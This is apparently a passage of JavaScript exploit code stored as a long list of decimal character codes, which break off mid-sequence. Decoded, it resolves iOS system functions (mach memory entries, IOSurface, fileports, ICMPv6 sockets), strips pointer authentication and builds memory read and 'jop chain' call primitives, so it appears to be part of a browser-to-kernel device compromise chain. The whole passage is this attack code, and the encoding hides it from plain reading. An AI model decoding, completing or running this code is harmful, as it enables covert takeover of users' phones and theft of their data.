123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 99, 116, 120, 41, 59, 10, 32, 32, 32, 32, 125, 10, 32, 32, 32, 32, 47, 47, 32, 114, 101, 108, 101, 97, 115, 101, 32, 116, 97, 114, 103, 101, 116, 32, 106, 115, 32, 115, 99, 114, 105, 112, 116, 10, 32, 32, 32, 32, 67, 70, 82, 101, 108, 101, 97, 115, 101, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 102, 114, 101, 101, 32, 106, 111, 112, 32, 99, 104, 97, 105, 110, 32, 112, 114, 111, 112, 101, 114, 116, 105, 101, 115, 10, 32, 32, 32, 32, 102, 114, 101, 101, 40, 106, 111, 112, 95, 99, 104, 97, 105, 110, 95, 105, 110, 102, 111, 91, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 93, 41, 59, 10, 125, 10, 108, 101, 116, 32, 82, 84, 76, 68, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 48, 120, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 70, 69, 110, 59, 10, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 65, 78, 89, 87, 72, 69, 82, 69, 32, 61, 32, 49, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 61, 32, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 82, 65, 78, 68, 79, 77, 95, 65, 68, 68, 82, 32, 61, 32, 56, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 32, 61, 32, 51, 110, 59, 10, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 82, 69, 65, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 108, 101, 116, 32, 80, 82, 79, 84, 95, 87, 82, 73, 84, 69, 32, 61, 32, 48, 120, 50, 110, 59, 10, 10, 108, 101, 116, 32, 77, 65, 80, 95, 83, 72, 65, 82, 69, 68, 32, 61, 32, 48, 120, 49, 110, 59, 10, 10, 108, 101, 116, 32, 65, 70, 95, 73, 78, 69, 84, 54, 32, 61, 32, 51, 48, 110, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 95, 68, 71, 82, 65, 77, 32, 61, 32, 50, 110, 59, 10, 108, 101, 116, 32, 73, 80, 80, 82, 79, 84, 79, 95, 73, 67, 77, 80, 86, 54, 32, 61, 32, 53, 56, 110, 59, 10, 108, 101, 116, 32, 73, 67, 77, 80, 54, 95, 70, 73, 76, 84, 69, 82, 32, 61, 32, 49, 56, 110, 59, 10, 10, 108, 101, 116, 32, 83, 69, 69, 75, 95, 83, 69, 84, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 34, 41, 59, 10, 108, 101, 116, 32, 65, 67, 67, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 99, 99, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 67, 79, 78, 70, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 111, 110, 102, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 78, 84, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 99, 110, 116, 108, 34, 41, 59, 10, 108, 101, 116, 32, 70, 83, 89, 78, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 115, 121, 110, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 34, 41, 59, 10, 108, 101, 116, 32, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 34, 41, 59, 10, 108, 101, 116, 32, 70, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 70, 67, 76, 79, 83, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 70, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 76, 83, 69, 69, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 108, 115, 101, 101, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 77, 69, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 109, 101, 109, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 34, 41, 59, 10, 108, 101, 116, 32, 79, 80, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 111, 112, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 86, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 118, 34, 41, 59, 10, 108, 101, 116, 32, 80, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 65, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 97, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 79, 67, 75, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 111, 99, 107, 101, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 65, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 97, 116, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 83, 84, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 115, 116, 114, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 76, 69, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 108, 101, 110, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 77, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 82, 67, 72, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 114, 99, 104, 114, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 34, 41, 59, 10, 108, 101, 116, 32, 87, 82, 73, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 119, 114, 105, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 82, 69, 77, 79, 86, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 114, 101, 109, 111, 118, 101, 34, 41, 59, 10, 108, 101, 116, 32, 65, 82, 67, 52, 82, 65, 78, 68, 79, 77, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 97, 114, 99, 52, 114, 97, 110, 100, 111, 109, 34, 41, 59, 10, 108, 101, 116, 32, 84, 65, 83, 75, 95, 84, 72, 82, 69, 65, 68, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 97, 115, 107, 95, 116, 104, 114, 101, 97, 100, 115, 34, 41, 59, 10, 108, 101, 116, 32, 84, 72, 82, 69, 65, 68, 95, 83, 85, 83, 80, 69, 78, 68, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 116, 104, 114, 101, 97, 100, 95, 115, 117, 115, 112, 101, 110, 100, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 77, 65, 75, 69, 95, 77, 69, 77, 79, 82, 89, 95, 69, 78, 84, 82, 89, 95, 54, 52, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 109, 97, 107, 101, 95, 109, 101, 109, 111, 114, 121, 95, 101, 110, 116, 114, 121, 95, 54, 52, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 77, 65, 80, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 109, 97, 112, 34, 41, 59, 10, 108, 101, 116, 32, 77, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 77, 85, 78, 76, 79, 67, 75, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 117, 110, 108, 111, 99, 107, 34, 41, 59, 10, 108, 101, 116, 32, 85, 78, 65, 77, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 110, 97, 109, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 67, 82, 69, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 67, 114, 101, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 80, 82, 69, 70, 69, 84, 67, 72, 80, 65, 71, 69, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 80, 114, 101, 102, 101, 116, 99, 104, 80, 97, 103, 101, 115, 34, 41, 59, 10, 108, 101, 116, 32, 73, 79, 83, 85, 82, 70, 65, 67, 69, 71, 69, 84, 66, 65, 83, 69, 65, 68, 68, 82, 69, 83, 83, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 73, 79, 83, 117, 114, 102, 97, 99, 101, 71, 101, 116, 66, 97, 115, 101, 65, 100, 100, 114, 101, 115, 115, 34, 41, 59, 10, 108, 101, 116, 32, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 83, 117, 114, 102, 97, 99, 101, 65, 108, 108, 111, 99, 83, 105, 122, 101, 34, 41, 46, 110, 111, 80, 65, 67, 40, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 68, 85, 77, 80, 40, 97, 100, 100, 114, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 47, 47, 32, 102, 99, 97, 108, 108, 40, 108, 111, 99, 97, 108, 95, 100, 117, 109, 112, 44, 32, 97, 100, 100, 114, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 109, 97, 108, 108, 111, 99, 40, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 98, 117, 102, 102, 32, 61, 32, 110, 101, 119, 32, 85, 105, 110, 116, 56, 65, 114, 114, 97, 121, 40, 66, 105, 103, 73, 110, 116, 40, 115, 122, 41, 46, 97, 115, 73, 110, 116, 51, 50, 115, 41, 46, 102, 105, 108, 108, 40, 48, 120, 48, 48, 41, 59, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 117, 114, 101, 97, 100, 54, 52, 40, 109, 101, 109, 46, 97, 100, 100, 114, 111, 102, 40, 98, 117, 102, 102, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 65, 67, 72, 95, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 103, 101, 116, 115, 112, 101, 99, 105, 102, 105, 99, 40, 107, 101, 121, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 71, 69, 84, 83, 80, 69, 67, 73, 70, 73, 67, 44, 32, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 83, 69, 76, 70, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 116, 104, 114, 101, 97, 100, 95, 106, 111, 105, 110, 40, 116, 104, 114, 44, 32, 118, 97, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 84, 72, 82, 69, 65, 68, 95, 74, 79, 73, 78, 44, 32, 116, 104, 114, 44, 32, 118, 97, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 95, 78, 83, 71, 101, 116, 69, 120, 101, 99, 117, 116, 97, 98, 108, 101, 80, 97, 116, 104, 40, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 95, 78, 83, 71, 69, 84, 69, 88, 69, 67, 85, 84, 65, 66, 76, 69, 80, 65, 84, 72, 44, 32, 101, 120, 101, 99, 117, 116, 97, 98, 108, 101, 95, 112, 97, 116, 104, 44, 32, 108, 101, 110, 103, 116, 104, 95, 112, 116, 114, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 111, 110, 102, 115, 116, 114, 40, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 79, 78, 70, 83, 84, 82, 44, 32, 110, 97, 109, 101, 44, 32, 98, 117, 102, 44, 32, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 114, 99, 104, 114, 40, 115, 44, 32, 99, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 82, 67, 72, 82, 44, 32, 115, 44, 32, 99, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 99, 97, 116, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 67, 65, 84, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 108, 101, 110, 40, 115, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 76, 69, 78, 44, 32, 115, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 115, 116, 114, 40, 115, 49, 44, 32, 115, 50, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 83, 84, 82, 44, 32, 115, 49, 44, 32, 115, 50, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 116, 114, 110, 99, 109, 112, 40, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 84, 82, 78, 67, 77, 80, 44, 32, 115, 49, 44, 32, 115, 50, 44, 32, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 111, 99, 107, 101, 116, 40, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 79, 67, 75, 69, 84, 44, 32, 100, 111, 109, 97, 105, 110, 44, 32, 116, 121, 112, 101, 44, 32, 112, 114, 111, 116, 111, 99, 111, 108, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 103, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 71, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 115, 111, 99, 107, 111, 112, 116, 40, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 84, 83, 79, 67, 75, 79, 80, 84, 44, 32, 115, 111, 99, 107, 101, 116, 44, 32, 108, 101, 118, 101, 108, 44, 32, 111, 112, 116, 105, 111, 110, 95, 110, 97, 109, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 118, 97, 108, 117, 101, 44, 32, 111, 112, 116, 105, 111, 110, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 112, 111, 114, 116, 40, 102, 100, 44, 32, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 80, 79, 82, 84, 44, 32, 102, 100, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 105, 108, 101, 112, 111, 114, 116, 95, 109, 97, 107, 101, 102, 100, 40, 112, 111, 114, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 73, 76, 69, 80, 79, 82, 84, 95, 77, 65, 75, 69, 70, 68, 44, 32, 112, 111, 114, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 115, 101, 116, 95, 112, 97, 116, 116, 101, 114, 110, 56, 40, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 83, 69, 84, 95, 80, 65, 84, 84, 69, 82, 78, 56, 44, 32, 98, 117, 102, 44, 32, 118, 97, 108, 44, 32, 115, 122, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 109, 109, 101, 109, 40, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 77, 69, 77, 77, 69, 77, 44, 32, 98, 105, 103, 44, 32, 98, 105, 103, 95, 108, 101, 110, 44, 32, 108, 105, 116, 116, 108, 101, 44, 32, 108, 105, 116, 116, 108, 101, 95, 108, 101, 110, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 99, 99, 101, 115, 115, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 65, 67, 67, 69, 83, 83, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 111, 112, 101, 110, 40, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 79, 80, 69, 78, 44, 32, 112, 97, 116, 104, 44, 32, 109, 111, 100, 101, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 99, 108, 111, 115, 101, 40, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 67, 76, 79, 83, 69, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 119, 114, 105, 116, 101, 40, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 70, 87, 82, 73, 84, 69, 44, 32, 98, 117, 102, 44, 32, 115, 122, 44, 32, 110, 105, 116, 101, 109, 44, 32, 102, 100, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 114, 101, 97, 100, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 82, 69, 65, 68, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 112, 119, 114, 105, 116, 101, 118, 40, 102, 105, 108, 100, 101, 115, 44, 32, 105, 111, 118, 44, 32, 105, 111, 118, 99, 110, 116, 44, 32, 111, 102, 102, 115, 101, 116, 41, 32, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 80, 87, 82, 73, 84, 69, 86, 44, 32, 102, 105, 108, 100, 101, 115, 44, 32, 105, 